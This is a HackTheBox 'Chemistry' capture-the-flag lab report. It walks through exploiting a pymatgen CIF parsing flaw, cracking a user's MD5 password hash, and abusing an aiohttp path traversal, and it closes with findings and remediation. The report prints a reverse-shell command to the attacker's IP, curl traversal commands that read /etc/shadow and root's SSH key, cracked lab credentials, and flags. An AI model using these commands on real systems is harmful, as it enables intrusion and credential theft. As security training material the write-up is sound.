

LAB REPORT

HackTheBox - Chemistry



Machine Card Info

Difficulty: Easy

Release Date: 2024-10-19

Points: 20

Operating System: Linux



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1 Presentation

1.1 Rules

Hack The Box provides a platform for cybersecurity enthusiasts to develop technical skills through simulated systems. Following ethical and fair conduct rules is crucial to ensure a positive experience for the whole community. Here are the main rules to observe during CTFs on Hack The Box.

No Attacking Infrastructure Outside of Labs

All penetration testing and intrusion activities must be limited to the machines and environments provided by Hack The Box. Any attempt to access external infrastructure is strictly prohibited and can result in severe penalties, including a platform ban.

No Solution Disclosure

Solution discovery is part of the learning process. Sharing solutions, flags, or specific techniques in public forums, on social media, or even privately with other members without their consent is prohibited. It deprives other participants of the learning experience.

Confidentiality of Flags

Flags are the objectives of each challenge, and each player should obtain them independently. Sharing flags or distributing them in raw or coded forms is against the rules and can lead to disqualification.

Use of Personal Scripts and Tools with Caution

Participants may use open-source tools or personal scripts to complete challenges, but scripts that compromise machine stability are prohibited. For example, Denial of Service (DoS) attacks are strictly banned as they degrade other users' experience.

Respect the Community

Hack The Box encourages a collaborative atmosphere where participants can support one another within the rules. Harassment, intimidation, or disrespectful behavior toward other community members is prohibited. Discussions should remain courteous and constructive, even in cases of disagreement.

Report Platform Bugs and Vulnerabilities

If a participant discovers a bug or vulnerability within the Hack The Box platform itself, they should report it to administrators immediately. Exploiting any flaw in the HTB infrastructure for advantage or to cause disruptions is strictly forbidden.

Forum Use and Spoilers

HTB forums and discussion sections are there to help users progress, but spoilers (revealing elements that give away direct answers or overly specific hints) should be avoided. Discussions should be about sharing general methods without compromising the challenge for other participants.

Respect Copyright

Using protected content without permission, including tools, scripts, or solutions written by others without their consent, can lead to disciplinary actions.



1.2 Netailed description

In this Capture The Flag (CTF) challenge, the foothold was achieved by exploiting a vulnerable web server that permitted the upload of a malicious .cif file, granting remote access to the target system. For user escalation, credentials were retrieved from a database file stored on the server, allowing access to a higher-privileged user account. Finally, privilege escalation was accomplished by exploiting a vulnerability in a locally running HTTP service, which was implemented using a flawed Python package, ultimately leading to full system compromise.

The scope of this pentest included:

IP Address: 10.10.11.38Attacker IP: 10.10.14.19

2 Final Report

2.1 P Enumeration

Let's start with a Nmap scan on the target to know open ports:

```
Nmap scan report for 10.10.11.38
Host is up (0.018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
   3072 b6fc20ae9d1d451d0bced9d020f26fdc (RSA)
  256 f1ae1c3e1dea55446c2ff2568d623c2b (ECDSA)
__ 256 94421b78f25187073e9726c9a25c0a26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
   GetRequest:
     HTTP/1.1 200 OK
     Server: Werkzeug/3.0.3 Python/3.9.5
     Date: Sat, 26 Oct 2024 16:29:19 GMT
     Content-Type: text/html; charset=utf-8
     Content-Length: 719
     Vary: Cookie
      Connection: close
```

CLI command used: nmap -p- -A 10.10.11.38 -oN nmap.txt

We have two ports. The **SSH** version doesn't seem vulnerable:


```
exegol-hackthebox Chemistry $ searchsploit OpenSSH 8.2
Exploits: No Results
Shellcodes: No Results
exegol-hackthebox Chemistry $
```

We'll explore port 5000.



Web Server


Open a web browser and go to http://10.10.11.38:5000:



As you can see, there are two options: **Login** and **Register**. Before continuing, start in background a web fuzzing with **GObuster**.

The login page doesn't seem vulnerable. So, we create an account. (Here, I used Freeze:password).

We are redirected to /dashboard:






Return to our **GObuster** result:

```
/dashboard (Status: 302) [Size: 235] [--> /login?next=%2Fdashboard]
/login (Status: 200) [Size: 926]
/logout (Status: 302) [Size: 229] [--> /login?next=%2Flogout]
/register (Status: 200) [Size: 931]
/upload (Status: 405) [Size: 153]
Progress: 102380 / 102385 (100.00%)
```

The /upload may be interesting for further.

The website allow us to upload .cif files. We can try to upload a .php file but it will not work.

Search on Internet to check if there are some exploits about .cif upload:



The GitHub link will be useful because we are in the same case.



2.2 **Solution** Foothold

Let's try to exploit the web server.

Check vulnerability

The vulnerability seems to be in the pymatgen library.

Copy and Paste the payload into a .cif file:

Here, we want to see if the server will get our file called grab_me.txt.

Upload the file and click on view:

As you can see, it works!



Reverse shell

Now, we want to obtain a reverse shell on the host.

Not every reverse shells will work. With this payload, we are able to gain a reverse shell:

```
busybox nc 10.10.14.19 1337 -e sh
```

Setup a listener on port 1337 then upload and view your malicious file:

2.3 **User Escalation**

Now that we have an access on the box, we need to escalate our privileges.

Upgrade your shell with: python3 -c 'import pty; pty.spawn("/bin/bash")'.

We are logged as app user. There is another user on the host:




A app.py file is present in the home directory. Use cat command to show its content and we can find a secret key:

```
Tilix: nc -lvnp 1337
1: nc -lvnp 1337 🔻
                                                                                             a
app@chemistry:~$ cat app.py
cat app.py
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, curr
ent_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid
app = Flask(<u>_</u>name<u>_</u>)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
```

```
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
```

There is also a database.db file in instance directory.

Use **sqlite3** to explore the database:



We have users and passwords. Rosa (the other user on the host) is present.



Analyze the hash type with haiti:


```
exegol-hackthebox Chemistry # haiti '63ed86ee9f624c7b14f1d4f43dc251a5'
MD5 [HC: 0] [JtR: raw-md5]
LM [HC: 3000] [JtR: lm]
NTLM [HC: 1000] [JtR: nt]
exegol-hackthebox Chemistry #
```

Use **JohnTheRipper** to crack the hash:

CLI Command Used: john --wordlist=/opt/rockyou.txt rosa_hash --format=raw-md5

We have the following credentials: rosa:unicorniosrosados.

Try to connect through SSH:





Do some basic enumeration on the host and we find background service running on port 8080:

rosa@chemistry:~\$ netstat -antp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established)							
	ecv-Q Se	end-Q Local Address	Foreign Address	State	PID/Program		
name	0	0 127 0 0 52.52	0 0 0 0 . *	LICTEN			
tcp -	0	0 127.0.0.53:53	0.0.0.0:*	LISTEN			
tcp	0	0 0.0.0.0:22	0.0.0.0:*	LISTEN			
tcp	0	0 0.0.0.0:5000	0.0.0.0:*	LISTEN			
tcp -	0	0 127.0.0.1:8080	0.0.0.0:*	LISTEN			

Try to **cURL** http://127.0.0.1:8080:

rosa@chemistry:~\$ curl -I http://127.0.0.1:8080

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 5971


Date: Sun, 27 Oct 2024 08:53:46 GMT Server: Python/3.9 aiohttp/3.9.1

rosa@chemistry:~\$

At this point, we can use port forwarding through **SSH**:

```
ssh -L 8080:127.0.0.1:8080 rosa@10.10.11.38
```

Access on our machine:





This is a simple website. So, we can try web fuzzing with **GObuster**:

```
gobuster dir --url http://127.0.0.1:8080/ -w /opt/seclists/Discovery/Web-Content/big.txt -x
html,php,txt,zip
```

No more information:

```
Tilix: root@exegol-hackthebox:/workspace/Chemistry
1:8080/ -w /opt/seclists/Discovery/Web-Content/big.txt -x html,php,txt,zip
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                           http://127.0.0.1:8080/
[+] Method:
                            GET
                           GET
10
[+] Threads:
[+] Wordlist:
                             /opt/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
                   gobuster/3.6
[+] User Agent:
[+] Extensions:
                             txt,zip,html,php
[+] Timeout:
                            10s
Starting gobuster in directory enumeration mode
Progress: 102380 / 102385 (100.00%)
                              | exegol-hackthebox Chemistry #
```

If we **cURL** http://127.0.0.1:8080 with -I option, we see that the server is running:

```
Server: Python/3.9 aiohttp/3.9.1
```

Search on Internet and we find a CVE for aiohttp 3.9.1. This GitHub link has a Proof Of Concept.

Look at the script:



It is a path traversal. We should be able to read some files.

To resume, its sends a request with **curL** and the --path-as-is option.

You can use the .sh script or simply send:

```
curl http://127.0.0.1:8080/assets/../../../../../etc/shadow --path-as-is
```

Important: The POC uses /static directory. You need to replace it by /assets.

```
Tilix: root@exegol-hackthebox:/workspace/Chemistry
                                                                                                     а
                                  percentage | exegol-hackthebox Chemistry # curl http://127.0.0.1:8080/assets
 ../../../../../etc/shadow --path-as-is
root:$6$51.cQv3bNpiiUadY$0qMYr0nZDIHuPMZuR4e7Lirpje9PwW666fRaPKI8wTaTVBm5fgkaBEojzzjsF.jjH0K0JW
i3/poCT60fBkRpl.:19891:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news : * : 19430 : 0 : 99999 : 7 : : :
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
nobody. .19430.0.99999.7...
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:..
```

We can read shadow file!


Try to read **SSH** root key with:


```
curl http://127.0.0.1:8080/assets/../../../../../root/.ssh/id_rsa --path-as-is
```

Output:



Copy/Paste and save in a file. Change rights and connect as root.







3 Findings

3.1 CVE-2024-23346

Criticality: Critical CVSS-Score: 9.3

CVSS-Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Affects: Package pymatgen <= 2024.2.8 (Python)

Summary

A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

Technical Description

Details

The cause of the vulnerability is in <u>pymatgen/symmetry/settings.py#L97C1-L111C108</u>. The flawed code segment involves a regular expression operation followed by the use of eval().

Vulnerable code

```
basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string,
flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])</pre>
```

The use of eval, even with **builtins** set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.

Impact

Malicious actor can execute arbitary code.

Recommendation

Upgrade pymatgen package to 2024.2.20 version.



3.2 CVE-2024-23334

Criticality: High CVSS-Score: 7.5

CVSS-Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Affects: Package aiohttp >1.0.5 (Python)

Summary

Improperly configuring static resource resolution in aiohttp when used as a web server can result in the unauthorized reading of arbitrary files on the system.

Technical Description

Details

When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if a given file path is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present.

i.e. An application is only vulnerable with setup code like:

```
app.router.add_routes([
    web.static("/static", "static/", follow_symlinks=True), # Remove follow_symlinks to
avoid the vulnerability
])
```

Impact

This is a directory traversal vulnerability with CWE ID 22. When using aiohttp as a web server and enabling static resource resolution with follow_symlinks set to True, it can lead to this vulnerability. This vulnerability has been present since the introduction of the follow_symlinks parameter.

Recommendation

Upgrade aiohttp package to version 3.9.2.



4 Conclusion & Flags

During this lab, the following flags were found:

user: 1ff7f3d4cc29d83c73bdfbcfde6e4fb6root: 654be82942a4d7410684a14f517da8cf

This CTF challenge demonstrated the layered nature of system exploitation, where each stage builds on the previous to achieve full compromise. By exploiting a vulnerable web server for initial access, extracting sensitive credentials from a database file, and finally leveraging a vulnerability in a local Python-based HTTP service, the challenge underscored key attack vectors often found in real-world scenarios. These stages highlight the importance of securing file upload functionalities, protecting stored credentials, and keeping software dependencies up to date. Addressing these vulnerabilities effectively could mitigate similar risks in production environments, reinforcing the need for proactive security measures and continuous monitoring.